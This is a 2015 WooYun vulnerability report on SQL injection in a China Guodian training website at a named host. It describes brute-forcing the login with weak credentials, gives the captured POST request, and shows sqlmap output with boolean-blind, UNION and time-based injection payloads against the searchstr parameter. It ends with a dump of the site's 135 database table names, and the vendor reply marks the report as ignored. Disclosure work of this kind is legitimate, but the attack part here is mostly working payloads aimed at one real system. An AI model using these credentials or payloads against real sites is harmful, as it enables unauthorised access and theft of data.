当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150123

漏洞标题:中国国电某站SQL注入

相关厂商:中国国电集团公司

漏洞作者: qhwlpg

提交时间:2015-10-29 10:36

修复时间:2015-11-03 10:38

公开时间:2015-11-03 10:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-29: 细节已通知厂商并且等待厂商处理中
2015-11-03: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

http://xnypx.600795.com.cn:81 登录存在爆破,用用户名TOP500尝试,密码123456

中国国电1.png


用zhangwei 123456登录
点击知识库,点击“查找”处抓包

中国国电2.png


POST /articlemanage/userarticlelist.jsp?trainTypeId=1 HTTP/1.1
Host: xnypx.600795.com.cn:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://xnypx.600795.com.cn:81/articlemanage/userarticlelist.jsp?trainTypeId=1
Cookie: JSESSIONID=aaaMYPJX5-ZYz_6bsATcv
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
searchfield=1&searchmethod=1&searchstr=1&submit=%B2%E9%D5%D2

漏洞证明:

Place: POST
Parameter: searchstr
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: searchfield=1&searchmethod=1&searchstr=1%' AND 6254=6254 AND '%'='&submit=%B2%E9%D5%D2
Type: UNION query
Title: MySQL UNION query (NULL) - 15 columns
Payload: searchfield=1&searchmethod=1&searchstr=1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a716a71,0x6d4b62654f5143574f62,0x7170767871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&submit=%B2%E9%D5%D2
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: searchfield=1&searchmethod=1&searchstr=1%' AND SLEEP(5) AND '%'='&submit=%B2%E9%D5%D2
---
[16:16:41] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
Database: xnypx
[135 tables]
+-------------------------------------+
| aicccoursestruinfo |
| applyinfo |
| applytrainclassinfo |
| article |
| attachinfo |
| bbs_authority |
| bbs_board |
| bbs_course |
| bbs_department |
| bbs_nopost |
| bbs_user |
| certificateinfo |
| chathack |
| chatonline |
| chatroom |
| chatroomall |
| company |
| content_server |
| examanswer |
| exampage |
| examplan |
| examquestion |
| f_comments |
| f_interactions |
| f_objectives |
| f_path |
| handlelog |
| http_fileupload_log |
| indagateinfo |
| indagateitem |
| ipdistribute |
| ippool |
| issue |
| kjzz_course |
| kjzz_course_file |
| kjzz_course_verify |
| knowledge |
| knowledge_manager |
| lesson_obj_status |
| livecourse |
| log |
| magazine |
| meeting |
| message |
| message_user_group |
| mobile_message_group |
| mobilemessage |
| mobilemessage_stat |
| noteshare |
| offline_certificate_type |
| offline_data_up_opration |
| offline_data_up_plan |
| offline_education_type |
| offline_esp_tip |
| offline_exam_type |
| offline_item |
| offline_item_accident_imagination |
| offline_item_anti_accident_practice |
| offline_item_esp_clerk |
| offline_item_exam |
| offline_item_knowledge_check |
| offline_item_other_train |
| offline_item_post_practice |
| offline_item_record |
| offline_item_self_learn_note |
| offline_item_study_day |
| offline_item_tech_check |
| offline_item_tech_teach |
| offline_item_together_learn |
| offline_item_train_class |
| offline_plan |
| offline_survey |
| offline_train_type |
| organization |
| professiontitle |
| professiontitletype |
| question |
| question_import |
| questionimportlog |
| questionstorage |
| questionstorage_manager |
| rolemodule |
| roleuser |
| scocoursestruinfo |
| scolessonlocation |
| scostulessoninfo |
| slogan |
| stu_lesson_info |
| student_history |
| student_preferences |
| sysinfo |
| totalstatperiod |
| train |
| train_knowledge |
| trainapplyrange |
| trainarchive |
| trainclass |
| trainclass_certificate |
| trainclass_group |
| trainclass_train |
| trainclass_user |
| trainclassoutside |
| trainclasstype |
| trainmethod |
| trainplan |
| trainplanstate |
| trainredeploy |
| trainresource |
| trainstatics |
| traintype |
| user_certificate |
| userdocs_file |
| userdocs_file_readmark |
| userdocs_folder |
| userfunction |
| usergroup |
| userinfo |
| usernote |
| userrole |
| usertrain |
| v_livecourse |
| v_notestuser |
| v_stat_trainclass |
| v_stat_trainvote |
| v_stat_trainvote_items |
| v_stat_usertest_new |
| v_statictrain |
| v_trainclass |
| v_trainclassuser |
| v_trainclassuser_period |
| v_trainclassusertrain |
| v_usertrain |
| validtime_statics |
| vote |
| win_module |
+-------------------------------------+

中国国电3.png

修复方案:

过滤,上设备~

版权声明:转载请注明来源 qhwlpg@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-11-03 10:38

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无